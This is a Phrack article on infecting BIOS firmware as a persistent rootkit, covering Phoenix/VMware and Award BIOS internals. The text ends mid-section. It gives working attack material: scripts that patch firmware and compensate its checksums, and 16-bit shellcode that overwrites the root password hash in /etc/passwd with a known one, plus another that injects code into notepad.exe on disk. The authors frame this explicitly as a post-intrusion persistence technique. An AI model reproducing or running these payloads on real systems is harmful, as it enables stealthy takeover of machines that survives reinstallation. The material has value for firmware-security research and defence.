Title : Persistent BIOS infection
Author : aLS and Alfredo
==Phrack Inc.==
Volume 0x0d, Issue 0x42, Phile #0x07 of 0x11
|=-----------------------------------------------------------------------=|
|=--------------------=[ Persistent BIOS Infection ]=-----------------=|
|=-----------------=[ "The early bird catches the worm" ]=---------------=|
|=-----------------------------------------------------------------------=|
|=---------------=[ .aLS - [email protected] ]=------------=|
|=---------------=[ Alfredo - [email protected] ]=------------=|
|=-----------------------------------------------------------------------=|
|=---------------------------=[ June 1 2009 ]=---------------------------=|
|=-----------------------------------------------------------------------=|
------[ Index
0 - Foreword
1 - Introduction
1.1 - Paper structure
2 - BIOS basics
2.1 - BIOS introduction
2.1.1 - Hardware
2.1.2 - How it works?
2.2 - Firmware file structure
2.3 - Update/Flashing process
3 - BIOS Infection
3.0 - Initial setup
3.1 - VMWare's (Phoenix) BIOS modification
3.1.1 - Dumping the VMWare BIOS
3.1.2 - Setting up VMWARE to load an alternate BIOS
3.1.3 - Unpacking the firmware
3.1.4 - Modification
3.1.5 - Payload
3.1.5.1 - The Ready Signal
3.1.6 - OptionROM
3.2 - Real (Award) BIOS modification
3.2.1 - Dumping the real BIOS firmware
3.2.2 - Modification
3.2.3 - Payload
4 - BIOS32 (Direct kernel infection)
5 - Future and other uses
5.1 - SMM!
6 - Greetz
7 - References
8 - Sources - Implementation details
------[ 0.- Foreword
Dear reader, if you're here we can assume that you already know what
the BIOS is and how it works. Or, at least, you have a general
picture of what the BIOS does, and its importance for the normal
operation of a computer. Based on that, we will briefly explain some
basic concepts to get you into context and then we'll jump to the,
more relevant, technical stuff.
------[ 1.- Introduction
Over the years, a lot has been said about this topic. But, apart of
the old Chernobyl virus, which just zeroed the BIOS if you
motherboard was one of the supported, or some modifications with
modding purposes (that were a very valuable source of data, btw)
like Pinczakko's work, we wouldnt be able to find any public
implementation of a working, generical and malicious BIOS infection.
Mostly, the people tends to think that this is a very researched,
old and already mitigated technique. It is sometimes even confused
whith the obsolet MBR viruses. But, is our intention to show that
this kind of attacks are possible and could be, with the aproppiated
OS detection and infection techniques, a very trustable and persistent
rootkit residing just inside of the BIOS Firmware.
In this paper we will show a generic method to inject code into
unsigned BIOS firmwares. This technique will let us embedd our own
code into the BIOS firmware so that it will get executed just before
the loading of the operating system.
We will also demonstrate how having complete control of the hard
drives allows us to leverage true persistency by deploying fully
functional code directly into a windows process or just by modifying
sensitive OS data in a Linux box.
---[ 1.1 - Paper structure
The main idea of this paper is to show how the BIOS firmware can be
modified and used as a persistence method after a successful
intrusion.
So, we will start by doing a little introduction and then we will
focus the paper on the proof of concept code, splitting the paper
in two main sections:
- VMWare's (Phoenix) BIOS modification
- Real (Award) BIOS modification
In each one we will explain the payloads to show how the attack is
done, and then we'll jump directly to see the payload code.
------[ 2.- BIOS Basics
---[2.1 - BIOS introduction
From Wikipedia [1]:
"The BIOS is boot firmware, designed to be the first code run by a
PC when powered on. The initial function of the BIOS is to identify
test, and initialize system devices such as the video display card,
hard disk, and floppy disk and other hardware. This is to prepare
the machine into a known state, so that software stored on
compatible media can be loaded, executed, and given control of the
PC.[3] This process is known as booting, or booting up, which is
short for bootstrapping."
"...provide a small library of basic input/output functions that
can be called to operate and control the peripherals such as the
keyboard, text display functions and so forth. In the IBM PC and
AT, certain peripheral cards such as hard-drive controllers and
video display adapters carried their own BIOS extension ROM, which
provided additional functionality. Operating systems and executive
software, designed to supersede this basic firmware functionality,
will provide replacement software interfaces to applications.
---[2.1.1 - Hardware
Back in the 80's the BIOS firmware was contained in ROM or PROM
chips, which could not be altered in any way, but nowadays, this
firmware is stored in an EEPROM (Electrically Erasable
Programmable Read-Only Memory). This kind of memory allows the user
to reflash it, allowing the vendor to offer firmware updates in
order to fix bugs, support new hardware and to add new
functionality.
---[2.1.2 - How it works?
The BIOS has a very important role in the functioning of a
computer.
It should be always available as it holds the first instruction
executed by the CPU when it is turned on. This is why it is stored
in a ROM.
The first module of the BIOS is called Bootblock, and it's in
charge of the POST (Power-on self-test) and Emergency boot
procedures. POST is the common term for a computer, router or
printer's pre-boot sequence. It has to test and initialize almost
all the different hardware components in the system to make sure
everything is working properly.
The modern BIOS has a modular structure, which means that there are
several modules integrated on the same firmware, each one in charge
of a different specific task; from hardware initialization to
security measures.
Each module is compressed, therefore there is a decompression
routine in charge of the decompression and validation of the
others modules that will be subsequently executed.
After decompression, some other hardware is initialized, such as
PCI Roms (if needed) and at the end, it reads the sector 0 of the
hard drive (MBR) looking for a boot loader to start loading the
Operating System.
---[2.2 - Firmware file structure
As we said before, the BIOS firmware has a modular structure. When
stored in a normal plain file, it is composed of several LZH
compressed modules, each of them containing an 8 bit checksum.
However, not all the modules are compressed, a few modules like the
Bootblock and the Decompression routine are obviously uncompressed
because they are a fundamental piece of the booting process and
must perform the decompression of the other modules. Further,
we will see why this is so convenient for our purposes.
Here we have the output of Phnxdeco (available in the Debian
repositories), an open source tool to parse and analyze the Phoenix
BIOS Firmware ROMs (that we'll going to extract at 3.1.1):
+-------------------------------------------------------------------------+
| Class.Instance (Name) Packed ---> Expanded Compression Offse |
+-------------------------------------------------------------------------+
B.03 ( BIOSCODE) 06DAF (28079) => 093F0 ( 37872) LZINT ( 74%) 446DFh
B.02 ( BIOSCODE) 05B87 (23431) => 087A4 ( 34724) LZINT ( 67%) 4B4A9h
B.01 ( BIOSCODE) 05A36 (23094) => 080E0 ( 32992) LZINT ( 69%) 5104Bh
C.00 ( UPDATE) 03010 (12304) => 03010 ( 12304) NONE (100%) 5CFDFh
X.01 ( ROMEXEC) 01110 (04368) => 01110 ( 4368) NONE (100%) 6000Ah
T.00 ( TEMPLATE) 02476 (09334) => 055E0 ( 21984) LZINT ( 42%) 63D78h
S.00 ( STRINGS) 020AC (08364) => 047EA ( 18410) LZINT ( 45%) 66209h
E.00 ( SETUP) 03AE6 (15078) => 09058 ( 36952) LZINT ( 40%) 682D0h
M.00 ( MISER) 03095 (12437) => 046D0 ( 18128) LZINT ( 68%) 6BDD1h
L.01 ( LOGO) 01A23 (06691) => 246B2 (149170) LZINT ( 4%) 6EE81h
L.00 ( LOGO) 00500 (01280) => 03752 ( 14162) LZINT ( 9%) 708BFh
X.00 ( ROMEXEC) 06A6C (27244) => 06A6C ( 27244) NONE (100%) 70DDAh
B.00 ( BIOSCODE) 001DD (00477) => 0D740 ( 55104) LZINT ( 0%) 77862h
*.00 ( TCPA_*) 00004 (00004) => 00004 ( 004) NONE (100%) 77A5Ah
D.00 ( DISPLAY) 00AF1 (02801) => 00FE0 ( 4064) LZINT ( 68%) 77A79h
G.00 ( DECOMPCODE) 006D6 (01750) => 006D6 ( 1750) NONE (100%) 78585h
A.01 ( ACPI) 0005B (00091) => 00074 ( 116) LZINT ( 78%) 78C76h
A.00 ( ACPI) 012FE (04862) => 0437C ( 17276) LZINT ( 28%) 78CECh
B.00 ( BIOSCODE) 00BD0 (03024) => 00BD0 ( 3024) NONE (100%) 7D6AAh
We can see here the different parts of the Firmware file,
containing the DECOMPCODE section, where the decompression routine
is located, as well as the other not-covered-in-this-paper
sections.
---[2.3 - Update/Flashing process
The BIOS software is not so different from any other software.
It's prone to bugs in the same way as other software is.
Newer versions come out adding support for new hardware, features
and fixing bugs, etc. But the flashing process could be very
dangerous on a real machine. The BIOS is a fundamental component
of the computer. It's the first piece of code executed when a
machine is turned on. This is why we have to be very carefully when
doing this kind of things. A failed BIOS update can -and probably
will- leave the machine unresponsive. And that just sucks.
That is why it's so important to have some testing platform, such
as VMWare, at least for a first approach, because, as we'll see,
there are a lot of differences between the vmware version vs. the
real hardware version.
------[ 3.- BIOS Infection
---[3.0 - Initial setup
---[3.1 - VMWare's (Phoenix) BIOS modification
First, we have to obtain a valid VMWARE BIOS firmware to work on.
In order to read the EEPROM where the BIOS firmware is stored we
need to run some code in kernel mode to let us send and receive
data directly to the southbridge through the IO Ports. To do this,
we also need to know some specific data about the current hardware.
This data is usually provided by the vendor. Furthermore, almost
all motherboard vendors provide some tool to update the BIOS, and
very often, they have an option to backup or dump the actual
firmware.
In VMWare we can't use this kind of tools, because the emulated
hardware doesn't have the same functionality as the real hardware.
This makes sense... why would someone would like to update the
VMWare BIOS from inside...?
---[3.1.1 - Dumping the VMWare BIOS
When we started this, it was really helpful to have the embedded
gdb server that VMWare offers. This let us debug and understand
what was happening.
So in order to patch and modify some little pieces of code to start
testing, we used some random byte arrays as patterns to find the
BIOS in memory.
Doing this we found that there is a little section of almost 256kb
in vmware-vmx, the main vmware executable, called .bios440
( that in our vmware version is located between the file offset
0x6276c7-0x65B994 ) that contains the whole BIOS firmware, in the
same way as it is contained in a normal file ready to flash.
You can use objdump to see the sections of the file:
objdump -h vmware-vmx
And you can dump it to a file using the objcopy tool:
objcopy -j .bios440 -O binary --set-section-flags .bios440=a \
vmware-vmx bios440.rom.zl
Umm... this means that... if we have root privileges in the victim
machine, we could use our amazing power to modify the vmware-vmx
executable, inserting our own infected bios and it will be
executed each time a vmware starts, for every vmware of the
computer. Sweet!
But, there are simpler ways to accomplish this task. We are going
to modify it a lot of times and it is not going to work most of
the times so.. the simpler, the better.
---[3.1.2 - Setting up VMWARE to load an alternate BIOS
We found that VMWare offers a very practical way to let the user
provide an specific BIOS firmware file directly through the .VMX
configuration file.
This not-so-known tag is called "bios440.filename" and it let us
avoid using VMWare's built-in BIOS and instead allows us to
specify a BIOS file to use.
You have to add this line in your .VMX file:
bios440.filename = "path/to/file/bios.rom"
And, voila!, now you have another BIOS firmware running in your VM,
and in combination with:
debugStub.listen.guest32 = "TRUE" or
debugStub.listen.guest64 = "TRUE"
that will leave the VMWare's gdb stub waiting for your connection
on localhost on port 8832. You will end up with an excellent -and
completely debuggable- research scenery. Nice huh?
Other important hidden tags that can be useful to define are:
bios.bootDelay = "3000" # To delay the boot X
miliseconds
debugStub.hideBreakpoints = "TRUE" # Allows gdb breakpoints
to work
debugStub.listen.guest32.remote = "TRUE" # For debugging from
another machine (32bit)
debugStub.listen.guest64.remote = "TRUE" # For debugging from
another machine (64bit)
monitor.debugOnStartGuest32 = "TRUE" # This will halt the VM
at the very first
instruction at 0xFFFF0
---[3.1.3 - Unpacking the firmware
As we mentioned before, some of the modules are compressed
with an LZH variation. There are a few available tools to
extract and decompress each individual module from the
Firmware file. The most used are Phnxdeco and Awardeco (two
excellent linux GPL tools) together with Phoenix BIOS Editor
and Award BIOS editor (some non GPL tools for windows).
You can use Phoenix BIOS editor over linux using wine if you
want. It will extract all the modules in a /temp directory
inside the Phoenix BIOS editor ready to be open with your
preferred disassembler.
The great news about Phoenix BIOS Editor is that it can also
rebuild the main firmware file. It can recompress and
integrate all the different decompressed modules to let it
just as it was at the beggining.
The only thing is that it was done for older Phoenix BIOSes,
and it misses the checksum so we will have to do it by
ourselves as we'll see at 3.2.2.1
Some of these tasks are done by isolated tools that can be
invoked directly from a command line, which is very practical
in order to automate the process with simple scripts.
---[3.1.4 - Modification
So, here we are. We have all the modules unpacked, and the
possibility of modifying them, and then rebuild them in a
fully working BIOS flash update.
The first thing to deal with now is 'where to patch'. We can
place a hook in almost any place to get our code executed but
we have to think things through before deciding on where to
patch.
At the beginning we thought about hooking the first
instruction executed by the CPU, a jump at 0xF000:FFF0. It
seemed to be the best option because it is always in the same
place, and is easy to find but we have to take into
consideration the execution context. To have our code running
there should imply doing all the hardware initialization by
ourselves (DRAM, Northbridge, Cache, PCI, etc.)
For example, if we want to do things like accessing the hard
drive we need to be sure that when our code gets executed it
already has access to the hard drive.
For this reason, and because it doesn't change between
different versions, we've chosen to hook the decompression
routine. It is also very easy to find by looking for a
pattern. It is uncompressed, and is called many times during
the BIOS boot sequence letting us check if all the needed
services are available before doing the real stuff.
Here we have a dump script to quickly extract the firmware
modules, assemble the payloads, inject it, and reassemble the
modified firmware file.
PREPARE.EXE and CATENATE.EXE are propietary tools to build
phoenix firmware that you can find inside the Phoenix BIOS
Editor and packaged with other flashing tools.
In later versions of this script this tools arent needed anymore. (as
seen at 3.2.2.1)
#!/usr/bin/python import os,struct
#--------------------------- Decomp processing ------------------------------
#assemble the whole code to inject
os.system('nasm ./decomphook.asm')
decomphook = open('decomphook','rb').read()
print "Leido hook: %d bytes" % len(decomphook)
minihook = '\x9a\x40\x04\x3b\x66\x90' # call near +0x430
#Load the decompression rom
decorom = open('DECOMPC0.ROM.orig','rb').read()
#Add the hook
hookoffset=0x23
decorom = decorom[:hookoffset]+minihook+decorom[len(minihook)+hookoffset:]
#Add the shellcode
decorom+="\x90"*100+decomphook
decorom=decorom+'\x90'*10
#recalculate the ROM size
decorom=decorom[:0xf]+struct.pack("<H",len(decorom)-0x1A)+decorom[0x11:]
#Save the patched decompression rom
out=open('DECOMPC0.ROM','wb')
out.write(decorom)
out.close()
#Compile
print "Prepare..."
os.system('./PREPARE.EXE ./ROM.SCR.ORIG')
print "Catenate..."
os.system('./CATENATE.EXE ./ROM.SCR.ORIG')
os.system('rm *.MOD')
---[3.1.5 - Payload
Before talking about the payload, we have to resolve *where*
are we going to store our payload, and this is not a trivial
task. We found that there is a lot of padding space at the end
of the decompression routine that, when allocated, will be
used as a buffer to hold the decompressed code. Trashing in
this way, any code that we can store there. This adds a bit of
complexity to the payload, because it makes us split the
shellcode in two stages.
The first one gets executed by setting a very typical hook in
the prolog of the decompression routine. A simple relative
call that redirects the execution flow to our code and moves
the second stage to a safe hardcoded place that we know
remains unused during the whole boot process. Then, updates
the hook making it point to the new address and executes the
instructions smashed by the original call
__________________________________
| |
| HOOK +->---.
|..................................| |
.--->| | |
| | | |
| | DECOMPRESSION BLOCK | |
| | | |
| | | |
| |__________________________________| |
| | |<----'
| | First Stage Payload |
| | (Moves second stage |
| | to a safe place |
| | and updates the hook) |
| | |
| |..................................|
`--<-+ Code smashed by hook |
|__________________________________|
| |
| Second Stage Payload |
| |
| |
|__________________________________|
Lets see the code:
|-----------------------------------------------------------|
BITS 16
;Extent to search (in 64K sectors, aprox 32 MB)
%define EXTENT 10
start_mover:
;save regs
;jmp start_mover
pusha
pushf
; set dst params to move the shellcode
xor ax, ax
xor di, di
xor si, si
push cs
pop ds
mov es, ax ; seg_dst
mov di, 0x8000 ; off_dst
mov cx, 0xff ; code_size
; get_eip to have the 'source' address
call b
b:
pop si
add si, 0x25 (Offset needed to reach the second stage payload)
rep movsw
mov ax, word [esp+0x12] ; get the caller address to patch the original hook
sub ax, 4
mov word [eax], 0x8000 ; new_hook offset
mov word [eax+2], 0x0000 ; new_hook segment
; restore saved regs
popf
popa
; execute code smashed by 'call far'
;mov es,ax
mov bx,es
mov fs,bx
mov ds,ax
retf
;Here goes a large nopsled and next, the second stage payload
|------------------------------------------------------------|
The second stage, now residing in an unused space, has got to
have some ready signal to know if the services that we want to
use are available..
---[3.1.5.1 - The Ready Signal
In the VMWare we've seen that when our second-stage payload is called,
and the IVT is already initialized, we have all we need to do our
stuff. Based on that we chose to use the IVT initialization as our
ready signal. This is very simple because it's always mapped at
0000:0000. Every time the shellcode gets executed first checks if the
IVT is initialized with valid pointers, if it is the shellcode is
executed, if not it returns without doing anything.
---[3.1.5.1 - The Real stuff
Now we have our code executed and we know that we have all the
services we need so what are we going to do? We can't interact with
the OS from here.
In this moment the operating system is just a char array sitting on
the disk. But hey! wait, we have access to the disk through the int
13h (Low Level Disk Services).. we can modify it in any way we want!.
Ok, let's do it.
In a real malicious implementation, you would like to code some sort
of basic driver to correctly parse the different filesystem
structures, at least for FAT & NTFS (maybe reusing GRUB or LILO code?)
but for this paper, just as Proof of Concept, we will use the Int 13h
to sequentially read the disk in raw mode. We will look for a pattern
in a very stupid way and it will work, but doing what we said before,
in a common scenery, will be possible to modify, add and delete any
desired file of the disk allowing an attacker to drop driver modules,
infect files, disable the antivirus or anti rootkits, etc.
This is the shellcode that we've used to walk over the whole
disk matching the pattern: "root:$" in order to find the root
entry of the /etc/passwd file.
Then, we replace the root hash with our own hash, setting the
password "root" for the root user.
-------------------------------------------------------------
; The shellcode doesn't have any type of optimization, we tried to keep it
; simple, 'for educational purposes'
; 16 bit shellcode
; use LBA disk access to change root password to 'root'
BITS 16
push es
push ds
pushad
pushf
; Get code address
call gca
gca: pop bx
; construct DAP
push cs
pop ds
mov si,bx
add si,0x1e0 ; DAP 0x1e0 from code
mov cx,bx
add cx,0x200 ; Buffer pointer 0x200 from code
mov byte [si],16 ;size of SAP
inc si
mov byte [si],0 ;reserved
inc si
mov byte [si],1 ;number of sectors
inc si
mov byte [si],0 ;unused
inc si
mov word [si],cx ;buffer segment
add si,2
mov word [si],ds;buffer offset
add si,2
mov word [si],0 ; sector number
add si,2
mov word [si],0 ; sector number
add si,2
mov word [si],0 ; sector number
add si,2
mov word [si],0 ; sector number
mov di,0
mov si,0
mainloop:
push di
push si
;-------- Inc sector number
mov cx,3
mov si,bx
add si,0x1e8
loopinc:
mov ax,word [si]
inc ax
mov word [si],ax
cmp ax,0
jne incend
add si,2
loop loopinc
incend:
;-------- LBA extended read sector
mov ah,0x42 ; call number
mov dl,0x80 ; drive number 0x80=first hd
mov si,bx
add si,0x1e0
int 0x13
jc mainend
nop
nop
nop
;-------- Search for 'root'
mov di,bx
add di,0x200 ; pointer to buffer
mov cx,0x200 ; 512 bytes per sector
searchloop:
cmp word [di],'ro'
jne notfound
cmp word [di+2],'ot'
jne notfound
cmp word [di+4],':$'
jne notfound
jmp found ; root found!
notfound:
inc di
loop searchloop
endSearch:
pop si
pop di
inc di
cmp di,0
jne mainloop
inc si
cmp si,3
jne mainloop
mainend:
popf
popad
pop ds
pop es
int 3
found:
;replace password with:
;root:$2a$08$Grx5rDVeDJ9AXXlXOobffOkLOnFyRjk2N0/4S8Yup33sD43wSHFzi:
;Yes we could've used rep movsb, but we kinda suck.
mov word[di+6],'2a'
mov word[di+8],'$0'
mov word[di+10],'8$'
mov word[di+12],'Gr'
mov word[di+14],'rD'
mov word[di+16],'Ve'
mov word[di+18],'DJ'
mov word[di+20],'9A'
mov word[di+22],'XX'
mov word[di+24],'lX'
mov word[di+26],'Oo'
mov word[di+28],'bf'
mov word[di+30],'fO'
mov word[di+32],'kL'
mov word[di+34],'On'
mov word[di+36],'Fy'
mov word[di+38],'Rj'
mov word[di+40],'k2'
mov word[di+42],'N0'
mov word[di+44],'/4'
mov word[di+46],'S8'
mov word[di+48],'Yu'
mov word[di+52],'p3'
mov word[di+54],'3s'
mov word[di+56],'D4'
mov word[di+58],'3w'
mov word[di+60],'SH'
mov word[di+62],'Fz'
mov word[di+64],'i:'
;-------- LBA extended write sector
mov ah,0x43 ; call number
mov al,0 ; no verify
mov dl,0x80 ; drive number 0x80=first hd
mov si,bx
add si,0x1e0
int 0x13
jmp mainend
This other is basically the same payload, but in this case we walk
over the whole disk trying to match a pattern inside notepad.exe, and
then we inject a piece of code with a simple call to MessaBoxA and
ExitProcess to finish it gracefully.
hook_start:
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
;jmp hook_start
;mov bx,es
;mov fs,bx
;mov ds,ax
;retf
pusha
pushf
xor di,di
mov ds,di
; check to see if int 19 is initialized
cmp byte [0x19*4],0x00
jne ifint
noint:
;jmp noint ; loop to debug
popf
popa
;mov es, ax
mov bx, es
mov fs, bx
mov ds, ax
retf
ifint:
;jmp ifint ; loop to debug
cmp byte [0x19*4],0x46
je noint
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
initShellcode:
;jmp initShellcode ; DEBUG
cli
push es
push ds
pushad
pushf
; Get code address
call gca
gca:
pop bx
;---------- Set screen mode
mov ax,0x0003
int 0x10
;---------- construct DAP
push cs
pop ds
mov si,bx
add si,0x2e0 ; DAP 0x2e0 from code
mov cx,bx
add cx,0x300 ; Buffer pointer 0x300 from code
mov byte [si],16 ;size of SAP
inc si
mov byte [si],0 ;reserved
inc si
mov byte [si],1 ;number of sectors
inc si
mov byte [si],0 ;unused
inc si
mov word [si],cx ;buffer segment
add si,2
mov word [si],ds;buffer offset
add si,2
mov word [si],0 ; sector number
add si,2
mov word [si],0 ; sector number
add si,2
mov word [si],0 ; sector number
add si,2
mov word [si],0 ; sector number
mov di,0
mov si,0
;-------- Function 41h: Check Extensions
push bx
mov ah,0x41 ; call number
mov bx,0x55aa;
mov dl,0x80 ; drive number 0x80=first hd
int 0x13
pop bx
jc mainend_near
;-------- Function 00h: Reset Disk System
mov ah, 0x00
int 0x13
jc mainend_near
jmp mainloop
mainend_near:
jmp mainend
mainloop:
cmp di,0
jne nochar
;------- progress bar (ABCDE....)
push bx
mov ax,si
mov ah,0x0e
add al,0x41
mov bx,0
int 0x10
pop bx
nochar:
push di
push si
;jmp incend ;
;-------- Inc sector number
mov cx,3
mov si,bx ; bx = curr_pos
add si,0x2e8 ; +2e8 LBA Buffer
loopinc:
mov ax,word [si]
inc ax
mov word [si],ax
cmp ax,0
jne incend
add si,2
loop loopinc
incend:
LBA_read:
;jmp int_test
;-------- LBA extended read sector
mov ah,0x42 ; call number
mov dl,0x80 ; drive number 0x80=first hd
mov si,bx
add si,0x2e0
int 0x13
jnc int13_no_err
;-------- Write error character
push bx
mov ax,0x0e45
mov bx,0x0000
int 0x10
pop bx
int13_no_err:
;-------- Search for 'root'
mov di,bx
add di,0x300 ; pointer to buffer
mov cx,0x200 ; 512 bytes per sector
searchloop:
cmp word [di],0x706a
jne notfound
cmp word [di+2],0x9868
jne notfound
;debugme:
; je debugme
cmp word [di+4],0x0018
jne notfound
cmp word [di+6],0xe801
jne notfound
jmp found ; root found!
notfound:
inc di
loop searchloop
endSearch:
pop si
pop di
inc di
cmp di,0
jne mainloop
inc si
cmp si,EXTENT ;------------ 10x65535 sectors to read
jne mainloop
jmp mainend
exit_error:
pop si
pop di
mainend:
popf
popad
pop ds
pop es
sti
popf
popa
mov bx, es
mov fs, bx
mov ds, ax
retf
writechar:
push bx
mov ah,0x0e
mov bx,0x0000
int 0x10
pop bx
ret
found:
mov al,0x46
call writechar
;mov word[di], 0xfeeb ; Infinite loop - Debug
mov word[di], 0x00be
mov word[di+2], 0x0100
mov word[di+4], 0xc700
mov word[di+6], 0x5006
mov word[di+8], 0x4e57
mov word[di+10], 0xc744
mov word[di+12], 0x0446
mov word[di+14], 0x2121
mov word[di+16], 0x0100
mov word[di+18], 0x016a
mov word[di+20], 0x006a
mov word[di+22], 0x6a56
mov word[di+24], 0xbe00
mov word[di+26], 0x050b
mov word[di+28], 0x77d8
mov word[di+30], 0xd6ff
mov word[di+32], 0x00be
mov word[di+34], 0x0000
mov word[di+36], 0x5600
mov word[di+38], 0xa2be
mov word[di+40], 0x81ca
mov word[di+42], 0xff7c
mov word[di+44], 0x90d6
;-------- LBA extended write sector
mov ah,0x43 ; call number
mov al,0 ; no verify
mov dl,0x80 ; drive number 0x80=first hd
mov si,bx
add si,0x2e0
int 0x13
jmp notfound; continue searching
nop
---[3.2 - Real (Award) BIOS modification
VMWare turned to be an excellent BIOS research and development
platform. But to complete this research, we have to attack a real
system. For this modification we used a common motherboard (Asus
A7V8X-MX), with an Award-Phoenix 6.00 PG BIOS, a very popular version.
---[3.2.1 - Dumping the real BIOS firmware
FLASH chips are fairly compatible, even interchangeable. But they are
connected to the motherboard in many different ways (PCI, ISA bridge,
etc.), and that makes reading them in a generic way a non-trivial
problem. How can we make a generic rootkit if we can't even find a
way to reliably read a flash chip? Of course, a hardware flash reader
is a solution, but at the time we didn't have one and is not really an
option if you want to remotely infect a BIOS without physical access.
So we started looking for software-based alternatives. The first tool
that we found worked fine, which was the Flashrom utility from the
coreboot open-source project, see [COREBOOT] (Also available in the
Debian repositories). It contains an extensive database of chips and
read/write methods. We found that it almost always works, even if you
have to manually specify the IC model, as it's not always
automatically detected.
$ flashrom -r mybios.rom
Generally, the command above is all that you need. The bios should be
in the mybios.rom file.
A trick that we learned is that if it says that it can't detect the
Chip, you should do a script to try every known chip. We have yet to
find BIOS that can't be read using this technique. Writing is slightly
more difficult, as Flashrom needs to correctly identify the IC to
allow writing to it. This limitation can by bypassed modifying the
source code but beware that you can fry your motherboard this way.
We also used flashrom as a generic way to upload the modified BIOS
back to the motherboard.
---[3.2.2 - Modification
Once we have the BIOS image on our hard disk, we can start the process
of inserting the malicious payload.
When modifying a real bios, and in particular an award/phoenix BIOS, we
faced some big problems:
1) Lack of documentation of the bios structure
2) Lack of packing/unpacking tools
3) No easy way to debug real hardware.
There are many free tools to manipulate BIOS, but as it always happen
with proprietary formats, we couldn't find one that worked with our
particular firmware. We can cite the Linux awardeco and phnxdeco
utilities as a starting point, but they tend to fail on modern BIOS
versions.
Our plan to achieve execution was:
1) We must insert arbitrary modifications (this implies the
knowledge of checksum positions and algorithms)
2) A basic hook should be inserted on a generic, easy to
find portion of the BIOS.
3) Once the generic hook is working, then a Shellcode could be
inserted.
---[3.2.2.0 - Black Screen of Death
You have to know that you're going to trash a lot of BIOS chips in
this process. But most BIOSes have a security mechanism to restore a
damaged firmware. RTFM (Read the friendly manual of the motherboard)
If this doesn't work, you can use the chip hot-swapping technique: You
boot with a working chip, then you hot-swap it with the damaged one,
and reflash. Of course, for this technique you will need to have
another working backup BIOS.
---[3.2.2.1 - Changing one bit at time
Our initial attempts were unsuccessful and produced mostly unbootable
systems. Basically we ignored how many checksums the bios had, and you
must patch everyone of them or face the terrifying "BIOS CHECKSUM
ERROR" black screen of death. The black screen of death got us
thinking, it says "CHECKSUM" so, it must be some kind of addition
compared to a number. And this kind of checks can be easily bypassed,
injecting a number at some point that will *compensate* the addition.
Isn't this the reason why CRC was invented after all? It turns out
that all the checksums were only 8-bits, and by touching only one byte
at the end of the shellcode, all the checksums were compensated. You
can find the very simple algorithm to do this on the attachments,
inside this python script:
-------------------------------------------------------------
modifBios.py
#!/usr/bin/python
import os,sys,math
# Usage
if len(sys.argv)<3:
print "Modify and recalculate Award BIOS checksum"
print "Usage: %s <original bios> <assembly shellcode
file>" % (sys.argv[0])
exit(0)
# assembly the file
scasm = sys.argv[2]
sccom = "%s.bin" % scasm
os.system("nasm %s -o %s " % (scasm,sccom) )
shellcode = open(sccom,'rb').read()
shellcode = shellcode[0xb55:] # skip the NOPs
os.unlink(sccom)
print ("Shellcode lenght: %d" % len(shellcode))
# Make a copy of the original BIOS
modifname = "%s.modif" % sys.argv[1]
origname = sys.argv[1]
os.system("cp %s %s" % (origname,modifname) )
#merge shellcode with original flash
insertposition = 0x3af75
modif = open(modifname,'rb').read()
os.unlink(modifname)
newbios=modif[:insertposition]
newbios+=shellcode
newbios+=modif[insertposition+len(shellcode):]
modif=newbios
#insert hook
hookposition = 0x3a41d
hook="\xe9\x55\x0b" # here is our hook,
# at the end of the bootblock
newbios=modif[:hookposition]
newbios+=hook
newbios+=modif[hookposition+len(hook):]
modif=newbios
#read original flash
orig = open(sys.argv[1],'rb').read()
# calculate original and modified checksum
# Sorry, this script is not *that* generic
# you will have to harvest these values
# manually, but you can craft an automatic
# one using pattern search.
# These offsets are for the Asus A7V8X-MX
# Revision 1007-001
start_of_decomp_blk=0x3a400
start_of_compensation=0x3affc
end_of_decomp_blk=0x3b000
ochksum=0 # original checksum
mchksum=0 # modified checksum
for i in range(start_of_decomp_blk,start_of_compensation):
ochksum+=ord(orig[i])
mchksum+=ord(modif[i])
print "Checksums: Original= %08X Modified= %08X" % (ochksum,mchksum)
# calculate difference
chkdiff = (mchksum & 0xff) - (ochksum & 0xff)
print "Diff : %08X" % chkdiff
# balance the checksum
newbios=modif[:start_of_compensation]
newbios+=chr( (0x1FF-chkdiff) & 0xff )
newbios+=modif[start_of_compensation+1:]
mchksum=0 # modified checksum
ochksum=0 # modified checksum
for i in range(start_of_decomp_blk,end_of_decomp_blk):
ochksum+=ord(orig[i])
mchksum+=ord(newbios[i])
print "Checksum: Original = %08X Final= %08X" % (ochksum,mchksum)
print "(Please check the last digit, must be the same in both checkums)"
newbiosname=sys.argv[2]+".compensated"
w=open(newbiosname,'wb')
w.write(newbios)
w.close()
print "New bios saved as %s" % newbiosname
-------------------------------------------------------------
With this technique we successfully changed one bit, then one byte, then
multiple bytes on a uncompressed region of the BIOS. The first step was
accomplished.
---[3.2.2.1 - Inserting the Hook
The hook is in exactly the same place: the decompressor block. We
also jumped to the same place that in the VMWARE code injection: In
the end of the decompressor block generally there is enough space to
do a pretty decent first stage shellcode. It's easy to find. Hint:
look for "= Award Decompression Bios =" In Phoenix bios, is the block
marked as "DECOMPCODE" (using phnxdeco or any other tool). It almost
never changes. It works.
There are a couple of steps that you must do to ensure that you are
hooking correctly. Firstly, insert a basic hook that only jumps
forward, and then returns. Then, modify it to cause an infinite loop.
(we don't have a debugger so we must rely on these horrible
techniques) If you can control when the computers boots correctly and
when it just locks up, congratulations. Now you have your code
stealthy executing from the BIOS.
---[3.2.3 - Payload
So now, you have complete control of the BIOS. Then you unveil your
elite 16-bit shellcoding skills and try to use the venerable INT 10h
to print "I PWNED J00!" on the screen and then proceed to use INT 13h
to write evil things to the hard disk.
Not that fast. You will be greeted with the black screen of fail.
What happens is that you still don't have complete control of the
BIOS. First and foremost, as we did on the VMWARE hook, you are
gaining execution multiple times during the boot process. The first
time, the disk is not spinning, the screen is still turned off and
most surprisingly, the Interruption Vector Table is not initialized.
This sounds very cool but it is a big problem. You can't write to the
disk if it's not spinning, and you can use an interrupt if the IVT is
not initialized.
You must wait. But how do you know when to execute? You again need some
sort of ready-to-go signal.
---[3.2.3.1 - The Ready Signal
In the VMWARE, we used the contents of the IVT as a ready signal. The
shellcode tested if the IVT was ready simply by checking if it had the
correct values. This was very easy because in real-mode, the IVT is
always in the same place (0000:0000, easy to remember by the way).
This technique basically sucks, because you really can't get less
generic than this. The pointers on the IVT change all the time, even
between versions of the same BIOS manufacturer. We need a better,
